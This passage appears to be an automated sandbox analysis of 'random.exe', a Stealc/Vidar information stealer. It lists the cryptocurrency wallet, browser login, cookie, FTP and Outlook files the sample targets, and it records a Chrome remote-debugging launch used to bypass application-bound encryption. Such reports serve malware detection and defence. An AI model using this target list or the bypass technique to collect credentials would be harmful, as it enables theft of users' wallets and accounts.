Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2561302948.0000000000267000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: random.exe, 00000000.00000002.2562046640.0000000001169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\random.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\random.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2562046640.0000000001185000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\random.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2561302948.0000000000101000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2562046640.000000000110E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2149142454.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: random.exe PID: 3568, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe	58%	Virustotal		Browse
random.exe	58%	ReversingLabs	Win32.Trojan.StealC
